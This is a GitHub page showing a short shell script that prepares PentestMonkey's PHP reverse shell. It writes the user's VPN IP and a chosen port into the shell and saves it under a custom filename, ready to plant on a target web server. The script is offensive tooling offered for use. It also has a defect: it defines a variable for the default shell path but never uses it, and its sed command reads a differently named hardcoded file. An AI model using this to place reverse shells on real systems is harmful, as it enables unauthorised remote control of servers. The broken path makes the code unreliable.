-
Notifications
You must be signed in to change notification settings - Fork 18
/
Copy pathphp-rs
executable file
·37 lines (26 loc) · 1.01 KB
/
php-rs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/bin/sh
# Website: https://t3chnocat.com
# Text coloring
yellow='\033[1;33m'
red='\033[1;91m'
nc='\033[0m'
### User variables start
# Default location in Kali is /usr/share/webshells/php/php-reverse-shell.php. Otherwise download here: http://pentestmonkey.net/tools/web-shells/php-reverse-shell
shell=/usr/share/webshells/php/php-reverse-shell.php
### User variables end
echo
echo "${yellow}This script edits PentestMonkey's PHP reverse shell with your IP/port and copies it to the current path with a filename of your choice${nc}"
echo
# I'm using tun0 for VPN IP. Change if needed
ip=$(/sbin/ifconfig tun0 | grep inet | cut -d" " -f10 | head -1)
echo "${yellow}Enter the port number: ${nc}"
read port
echo
echo "${yellow}Enter the output filename with extension: ${nc}"
read filename
# set current directory
dir=$(pwd)
/bin/sed -e "s@127.0.0.1@$ip@" -e "s@1234@$port@" /usr/share/webshells/php/php-reverse-shell-edit.php > $dir/$filename
echo
echo "${yellow}Your reverse shell has been saved to $dir/$filename"
echo